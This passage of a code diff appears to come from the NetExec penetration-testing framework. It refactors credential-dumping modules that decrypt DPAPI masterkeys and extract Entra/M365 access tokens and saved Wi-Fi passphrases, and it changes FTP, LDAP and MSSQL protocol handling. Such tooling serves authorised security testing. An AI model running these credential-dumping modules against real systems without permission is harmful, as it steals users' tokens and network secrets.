userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
|
||||
|
||||
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
sids = []
|
||||
|
||||
i = 0
|
||||
while True:
|
||||
try:
|
||||
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
|
||||
sids.append(ans2["lpNameOut"])
|
||||
except rrp.DCERPCSessionError as e:
|
||||
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
|
||||
break
|
||||
except Exception as e:
|
||||
self.context.debug(f"Error while listing users from HKU: {e}")
|
||||
i += 1
|
||||
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
|
||||
for sid in sids:
|
||||
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
keyHandle = ans["phkResult"]
|
||||
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
|
||||
if r"%systemroot%" in profile_path:
|
||||
for sid in conn.reg_enum_key("HKLM", userlist_key):
|
||||
profile_path = conn.reg_get_key_value("HKLM", f"{userlist_key}\\{sid}", "ProfileImagePath")
|
||||
if "C:\\Users" not in profile_path:
|
||||
continue
|
||||
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
|
||||
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
|
||||
users[ntpath.basename(profile_path).rstrip("\0")] = sid.rstrip("\0")
|
||||
|
||||
return users
|
||||
+5
-32
@@ -1,54 +1,27 @@
|
||||
import re
|
||||
import jwt
|
||||
from dploot.triage.wam import WamTriage
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "wam"
|
||||
description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
|
||||
context.log.success("Looting Token Broker Cache access tokens")
|
||||
|
||||
def token_callback(token):
|
||||
for attrib in token.attribs:
|
||||
@@ -58,10 +31,10 @@ class NXCModule:
|
||||
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
|
||||
if "preferred_username" in decoded_token:
|
||||
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
|
||||
context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
|
||||
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", self.context.log)
|
||||
|
||||
try:
|
||||
triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
|
||||
triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
|
||||
triage.triage_wam()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot access tokens: {e}")
|
||||
+10
-35
@@ -1,54 +1,29 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.wifi import WifiTriage
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "wifi"
|
||||
description = "Get key of all wireless interfaces"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False)
|
||||
masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=False, dump_system=True)
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting Wifi interfaces")
|
||||
context.log.success("Looting Wifi interfaces")
|
||||
|
||||
try:
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys)
|
||||
wifi_triage = WifiTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=masterkeys)
|
||||
wifi_creds = wifi_triage.triage_wifi()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error while looting wifi: {e}")
|
||||
@@ -57,16 +32,16 @@ class NXCModule:
|
||||
context.log.highlight(f"[OPEN] {wifi_cred.ssid}")
|
||||
elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]:
|
||||
try:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}")
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}", self.context.log)
|
||||
except Exception:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
|
||||
elif wifi_cred.auth.upper() in ["WPA", "WPA2"]:
|
||||
try:
|
||||
if self.eap_username is not None and self.eap_password is not None:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}")
|
||||
if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None:
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}", self.context.log)
|
||||
else:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}")
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}", self.context.log)
|
||||
except Exception:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
|
||||
else:
|
||||
context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}")
|
||||
+38
-10
@@ -1,15 +1,16 @@
|
||||
from io import BytesIO
|
||||
import os
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.logger import NXCAdapter
|
||||
from ftplib import FTP, error_perm
|
||||
from ftplib import FTP, error_perm, error_temp
|
||||
|
||||
|
||||
class ftp(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.protocol = "FTP"
|
||||
self.remote_version = None
|
||||
self.welcome_banner = ""
|
||||
|
||||
super().__init__(args, db, host)
|
||||
|
||||
@@ -26,11 +27,12 @@ class ftp(connection):
|
||||
def enum_host_info(self):
|
||||
welcome = self.conn.getwelcome()
|
||||
self.logger.debug(f"Welcome result: {welcome}")
|
||||
self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front
|
||||
self.logger.debug(f"Remote version: {self.remote_version}")
|
||||
for line in welcome.splitlines():
|
||||
self.welcome_banner += line.split("220", 1)[1].strip() # strip out the extra space in the front
|
||||
self.logger.debug(f"Remote version: {self.welcome_banner}")
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"Banner: {self.remote_version}")
|
||||
self.logger.display(f"Banner: {self.welcome_banner}")
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.conn = FTP()
|
||||
@@ -50,13 +52,12 @@ class ftp(connection):
|
||||
self.logger.debug(f"Response: {resp}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})")
|
||||
self.conn.close()
|
||||
return False
|
||||
|
||||
# 230 is "User logged in, proceed" response, ftplib raises an exception on failed login
|
||||
if "230" in resp:
|
||||
self.logger.debug(f"Host: {self.host} Port: {self.port}")
|
||||
self.db.add_host(self.host, self.port, self.remote_version)
|
||||
self.db.add_host(self.host, self.port, self.welcome_banner)
|
||||
|
||||
cred_id = self.db.add_credential(username, password)
|
||||
|
||||
@@ -101,8 +102,9 @@ class ftp(connection):
|
||||
self.put_file(self.args.put[0], self.args.put[1])
|
||||
|
||||
if not self.args.continue_on_success:
|
||||
self.conn.close()
|
||||
return True
|
||||
|
||||
def disconnect(self):
|
||||
self.conn.close()
|
||||
|
||||
def list_directory_full(self):
|
||||
@@ -115,6 +117,10 @@ class ftp(connection):
|
||||
self.logger.fail(f"Failed to list directory. Response: ({error_message})")
|
||||
self.conn.close()
|
||||
return False
|
||||
except error_temp as e:
|
||||
self.logger.fail(e)
|
||||
self.conn.close()
|
||||
return False
|
||||
return files
|
||||
|
||||
def get_file(self, filename):
|
||||
@@ -125,8 +131,6 @@ class ftp(connection):
|
||||
if self.conn.encoding == "utf-8":
|
||||
# Switch the connection to binary
|
||||
self.conn.sendcmd("TYPE I")
|
||||
# Check if the file exists
|
||||
self.conn.size(filename)
|
||||
# Attempt to download the file
|
||||
with open(downloaded_file, "wb") as f:
|
||||
self.conn.retrbinary(f"RETR {filename}", f.write)
|
||||
@@ -161,6 +165,30 @@ class ftp(connection):
|
||||
else:
|
||||
self.logger.fail(f"Failed to upload: {local_file} to {remote_file}")
|
||||
|
||||
def cat(self):
|
||||
# Extract the filename from the path
|
||||
remote_file = self.args.cat
|
||||
try:
|
||||
# Check if the current connection is ASCII (ASCII does not support .size())
|
||||
if self.conn.encoding == "utf-8":
|
||||
# Switch the connection to binary
|
||||
self.conn.sendcmd("TYPE I")
|
||||
# Attempt to get the file content
|
||||
buf = BytesIO()
|
||||
self.conn.retrbinary(f"RETR {remote_file}", buf.write)
|
||||
except error_perm as error_message:
|
||||
self.logger.fail(f"Failed to get file content. Response: ({error_message})")
|
||||
return False
|
||||
except FileNotFoundError:
|
||||
self.logger.fail("Failed to get file content. Response: (No such file or directory.)")
|
||||
return False
|
||||
|
||||
try:
|
||||
for line in buf.getvalue().decode().splitlines():
|
||||
self.logger.highlight(line)
|
||||
except UnicodeDecodeError as e:
|
||||
self.logger.fail(f"File is not in UTF-8: {e}")
|
||||
|
||||
def supported_commands(self):
|
||||
raw_supported_commands = self.conn.sendcmd("HELP")
|
||||
supported_commands = [item for sublist in (x.split() for x in raw_supported_commands.split("\n")[1:-1]) for item in sublist]
|
||||
|
||||
@@ -7,6 +7,7 @@ def proto_args(parser, parents):
|
||||
|
||||
cgroup = ftp_parser.add_argument_group("File Operations")
|
||||
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List all files (including hidden) in the directory")
|
||||
cgroup.add_argument("--cat", metavar="FILE", help="Display the contents of a file. Example: --cat /path/to/file")
|
||||
cgroup.add_argument("--get", metavar="FILE", help="Download a file")
|
||||
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
|
||||
return parser
|
||||
+17
-5
@@ -147,11 +147,12 @@ class ldap(connection):
|
||||
return ""
|
||||
|
||||
def check_ldap_signing(self):
|
||||
self.signing_required = False
|
||||
self.signing_required = None
|
||||
ldap_url = f"ldap://{self.target}"
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False, timeout=self.args.ldap_timeout)
|
||||
ldap_connection.login(domain=self.domain)
|
||||
self.signing_required = False
|
||||
self.logger.debug(f"LDAP signing is not enforced on {self.host}")
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
@@ -185,6 +186,7 @@ class ldap(connection):
|
||||
self.cbt_status = "When Supported" # CBT is When Supported
|
||||
else:
|
||||
self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}")
|
||||
self.cbt_status = "Unknown"
|
||||
except SysCallError as e:
|
||||
self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}")
|
||||
if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]:
|
||||
@@ -283,7 +285,12 @@ class ldap(connection):
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.debug("Printing host info for LDAP")
|
||||
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"])
|
||||
if self.signing_required is True:
|
||||
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"])
|
||||
elif self.signing_required is False:
|
||||
signing = colored("signing:None", host_info_colors[1], attrs=["bold"])
|
||||
else:
|
||||
signing = colored("signing:Unknown", host_info_colors[2], attrs=["bold"])
|
||||
cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"])
|
||||
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
|
||||
|
||||
@@ -1723,6 +1730,7 @@ class ldap(connection):
|
||||
aeskey=self.aesKey,
|
||||
kdc=self.kdcHost,
|
||||
auth_method="auto",
|
||||
ldap_channel_binding=self.cbt_status == "Always"
|
||||
)
|
||||
ad = AD(
|
||||
auth=auth,
|
||||
@@ -1761,9 +1769,13 @@ class ldap(connection):
|
||||
exclude_dcs=False,
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
|
||||
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
|
||||
return
|
||||
if "ldap3-bleeding-edge" in str(e):
|
||||
self.logger.fail("Bloodhound collection failed due to channel binding requirements. Inject 'ldap3-bleeding-edge': pipx inject netexec ldap3-bleeding-edge")
|
||||
return
|
||||
else:
|
||||
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
|
||||
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
|
||||
return
|
||||
|
||||
# Collect ADCS data using CertiHound if requested
|
||||
if "adcs" in collect:
|
||||
|
||||
@@ -1,124 +0,0 @@
|
||||
from impacket.ldap.ldaptypes import ACCESS_MASK
|
||||
|
||||
# https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab?source=recommendations
|
||||
WELL_KNOWN_SIDS = {
|
||||
"S-1-0": "Null Authority",
|
||||
"S-1-0-0": "Nobody",
|
||||
"S-1-1": "World Authority",
|
||||
"S-1-1-0": "Everyone",
|
||||
"S-1-2": "Local Authority",
|
||||
"S-1-2-0": "Local",
|
||||
"S-1-2-1": "Console Logon",
|
||||
"S-1-3": "Creator Authority",
|
||||
"S-1-3-0": "Creator Owner",
|
||||
"S-1-3-1": "Creator Group",
|
||||
"S-1-3-2": "Creator Owner Server",
|
||||
"S-1-3-3": "Creator Group Server",
|
||||
"S-1-3-4": "Owner Rights",
|
||||
"S-1-4": "Non-unique Authority",
|
||||
"S-1-5": "NT Authority",
|
||||
"S-1-5-1": "Dialup",
|
||||
"S-1-5-2": "Network",
|
||||
"S-1-5-3": "Batch",
|
||||
"S-1-5-4": "Interactive",
|
||||
"S-1-5-6": "Service",
|
||||
"S-1-5-7": "Anonymous",
|
||||
"S-1-5-8": "Proxy",
|
||||
"S-1-5-9": "Enterprise Domain Controllers",
|
||||
"S-1-5-10": "Principal Self",
|
||||
"S-1-5-11": "Authenticated Users",
|
||||
"S-1-5-12": "Restricted Code",
|
||||
"S-1-5-13": "Terminal Server Users",
|
||||
"S-1-5-14": "Remote Interactive Logon",
|
||||
"S-1-5-15": "This Organization",
|
||||
"S-1-5-17": "This Organization",
|
||||
"S-1-5-18": "Local System",
|
||||
"S-1-5-19": "NT Authority",
|
||||
"S-1-5-20": "NT Authority",
|
||||
"S-1-5-21-0-0-0-496": "Compounded Authentication", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_13
|
||||
"S-1-5-21-0-0-0-497": "Claims Valid", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_14
|
||||
"S-1-5-32-544": "Administrators",
|
||||
"S-1-5-32-545": "Users",
|
||||
"S-1-5-32-546": "Guests",
|
||||
"S-1-5-32-547": "Power Users",
|
||||
"S-1-5-32-548": "Account Operators",
|
||||
"S-1-5-32-549": "Server Operators",
|
||||
"S-1-5-32-550": "Print Operators",
|
||||
"S-1-5-32-551": "Backup Operators",
|
||||
"S-1-5-32-552": "Replicators",
|
||||
"S-1-5-32-553": "RAS and IAS Servers",
|
||||
"S-1-5-32-554": r"BUILTIN\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": r"BUILTIN\Remote Desktop Users",
|
||||
"S-1-5-32-557": r"BUILTIN\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-556": r"BUILTIN\Network Configuration Operators",
|
||||
"S-1-5-32-558": r"BUILTIN\Performance Monitor Users",
|
||||
"S-1-5-32-559": r"BUILTIN\Performance Log Users",
|
||||
"S-1-5-32-560": r"BUILTIN\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": r"BUILTIN\Terminal Server License Servers",
|
||||
"S-1-5-32-562": r"BUILTIN\Distributed COM Users",
|
||||
"S-1-5-32-568": r"BUILTIN\DCOM Users",
|
||||
"S-1-5-32-569": r"BUILTIN\Cryptographic Operators",
|
||||
"S-1-5-32-571": r"BUILTIN\Cacheable Principals",
|
||||
"S-1-5-32-572": r"BUILTIN\Non-Cacheable Principals",
|
||||
"S-1-5-32-573": r"BUILTIN\Event Log Readers",
|
||||
"S-1-5-32-574": r"BUILTIN\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": r"BUILTIN\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": r"BUILTIN\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": r"BUILTIN\RDS Management Servers",
|
||||
"S-1-5-32-578": r"BUILTIN\Hyper-V Administrators",
|
||||
"S-1-5-32-579": r"BUILTIN\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": r"BUILTIN\Remote Management Users",
|
||||
"S-1-5-32-581": r"BUILTIN\Default Account",
|
||||
"S-1-5-32-582": r"BUILTIN\Storage Replica Administrators",
|
||||
"S-1-5-32-583": r"BUILTIN\Device Owners",
|
||||
"S-1-5-32-584": r"BUILTIN\User Mode Hardware Operators",
|
||||
"S-1-5-32-585": r"BUILTIN\OpenSSH Users",
|
||||
"S-1-5-33": "Write Restricted Code",
|
||||
"S-1-5-64-10": "NTLM Authentication",
|
||||
"S-1-5-64-14": "SChannel Authentication",
|
||||
"S-1-5-64-21": "Digest Authority",
|
||||
"S-1-5-65-1": "This Organization Certificate", # see https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/39f588d6-21e3-4e09-a9f2-d8f7b9b998bf
|
||||
"S-1-5-80": "NT Service",
|
||||
"S-1-5-80-0": "All Services",
|
||||
"S-1-5-83-0": r"NT VIRTUAL MACHINE\Virtual Machines",
|
||||
"S-1-5-84-0-0-0-0-0": "User Mode Drivers",
|
||||
"S-1-5-1000": "Other Organization",
|
||||
"S-1-16-0": "Untrusted Mandatory Level",
|
||||
"S-1-16-4096": "Low Mandatory Level",
|
||||
"S-1-16-8192": "Medium Mandatory Level",
|
||||
"S-1-16-8448": "Medium Plus Mandatory Level",
|
||||
"S-1-16-12288": "High Mandatory Level",
|
||||
"S-1-16-16384": "System Mandatory Level",
|
||||
"S-1-16-20480": "Protected Process Mandatory Level",
|
||||
"S-1-16-28672": "Secure Process Mandatory Level",
|
||||
"S-1-18-1": "Authentication Authority Asserted Identity",
|
||||
"S-1-18-2": "Service Asserted Identity",
|
||||
"S-1-18-3": "Fresh public key identity",
|
||||
"S-1-18-5": "MFA Key Property",
|
||||
"S-1-18-6": "Attested Key Property",
|
||||
}
|
||||
|
||||
ACCESS_MASK_TO_TEXT_LOOKUP = {
|
||||
ACCESS_MASK.GENERIC_READ: "GENERIC_READ",
|
||||
ACCESS_MASK.GENERIC_WRITE: "GENERIC_WRITE",
|
||||
ACCESS_MASK.GENERIC_EXECUTE: "GENERIC_EXECUTE",
|
||||
ACCESS_MASK.GENERIC_ALL: "GENERIC_ALL",
|
||||
ACCESS_MASK.MAXIMUM_ALLOWED: "MAXIMUM_ALLOWED",
|
||||
ACCESS_MASK.ACCESS_SYSTEM_SECURITY: "ACCESS_SYSTEM_SECURITY",
|
||||
ACCESS_MASK.SYNCHRONIZE: "SYNCHRONIZE",
|
||||
ACCESS_MASK.WRITE_OWNER: "WRITE_OWNER",
|
||||
ACCESS_MASK.WRITE_DACL: "WRITE_DACL",
|
||||
ACCESS_MASK.READ_CONTROL: "READ_CONTROL",
|
||||
ACCESS_MASK.DELETE: "DELETE",
|
||||
# file system rights
|
||||
0x00000001: "FILE_READ_DATA",
|
||||
0x00000002: "FILE_WRITE_DATA",
|
||||
0x00000004: "FILE_APPEND_DATA",
|
||||
0x00000008: "FILE_READ_EA",
|
||||
0x00000010: "FILE_WRITE_EA",
|
||||
0x00000020: "FILE_EXECUTE",
|
||||
0x00000040: "FILE_DELETE_CHILD",
|
||||
0x00000080: "FILE_READ_ATTRIBUTES",
|
||||
0x00000100: "FILE_WRITE_ATTRIBUTES"
|
||||
}
|
||||
+96
-50
@@ -1,6 +1,7 @@
|
||||
import os
|
||||
import random
|
||||
import contextlib
|
||||
import binascii
|
||||
from termcolor import colored
|
||||
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
@@ -11,8 +12,11 @@ from nxc.logger import NXCAdapter
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message
|
||||
from nxc.helpers.powershell import create_ps_command
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||
|
||||
from dploot.lib.network.mssql import MSSQLTarget as Target
|
||||
|
||||
from impacket import tds, ntlm
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.dcerpc.v5.dtypes import SID
|
||||
@@ -44,6 +48,13 @@ class mssql(connection):
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
self.no_ntlm = False
|
||||
self.encryption = None
|
||||
self.edition = ""
|
||||
self.version = ""
|
||||
self.dpapi_system_key = None
|
||||
self.no_da = None
|
||||
|
||||
self._dpapi_triage = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
@@ -490,68 +501,65 @@ class mssql(connection):
|
||||
return "[" + str(ident).replace("]", "]]") + "]"
|
||||
|
||||
def list_databases(self):
|
||||
try:
|
||||
q = (
|
||||
"SELECT d.name AS DatabaseName, "
|
||||
" suser_sname(d.owner_sid) AS Owner "
|
||||
"FROM sys.databases d "
|
||||
"ORDER BY d.name;"
|
||||
)
|
||||
rows = self.conn.sql_query(q) or []
|
||||
if not rows:
|
||||
self.logger.display("No databases returned")
|
||||
return
|
||||
query = """
|
||||
SELECT d.name AS DatabaseName, suser_sname(d.owner_sid) AS Owner
|
||||
FROM sys.databases d
|
||||
ORDER BY d.name;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
if not rows:
|
||||
self.logger.display("No databases returned")
|
||||
return
|
||||
|
||||
self.logger.display("Enumerated databases")
|
||||
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
|
||||
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
|
||||
for r in rows:
|
||||
self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} database(s)")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to enumerate databases: {e}")
|
||||
self.logger.debug("list_databases error", exc_info=True)
|
||||
self.logger.display("Enumerated databases")
|
||||
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
|
||||
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
|
||||
for row in rows:
|
||||
database_name = row.get("DatabaseName", "")
|
||||
owner = row.get("Owner", "")
|
||||
self.logger.highlight(f"{database_name:<30} {owner:<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} database(s)")
|
||||
|
||||
def database(self):
|
||||
db_arg = self.args.database
|
||||
|
||||
# nxc --database (no value) -> list
|
||||
if db_arg is True or db_arg is None:
|
||||
if self.args.database is True:
|
||||
self.list_databases()
|
||||
return
|
||||
|
||||
# nxc --database <name> -> tables
|
||||
if isinstance(db_arg, str):
|
||||
try:
|
||||
safe = db_arg.replace("'", "''")
|
||||
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
|
||||
if not exists:
|
||||
self.logger.fail(f"Database [{db_arg}] does not exist on the server.")
|
||||
return
|
||||
|
||||
tq = (
|
||||
f"SELECT t.name AS TableName, t.modify_date "
|
||||
f"FROM {self._qname(db_arg)}.sys.tables t "
|
||||
f"ORDER BY t.name;"
|
||||
)
|
||||
rows = self.conn.sql_query(tq) or []
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}")
|
||||
self.logger.debug("database() error", exc_info=True)
|
||||
if isinstance(self.args.database, str):
|
||||
safe = self.args.database.replace("'", "''")
|
||||
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
if not exists:
|
||||
self.logger.fail(f"Database [{self.args.database}] does not exist on the server.")
|
||||
return
|
||||
|
||||
query = f"""
|
||||
SELECT t.name AS TableName, t.modify_date
|
||||
FROM {self._qname(self.args.database)}.sys.tables t
|
||||
ORDER BY t.name;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
|
||||
if not rows:
|
||||
self.logger.display(f"Database [{db_arg}] has no user tables.")
|
||||
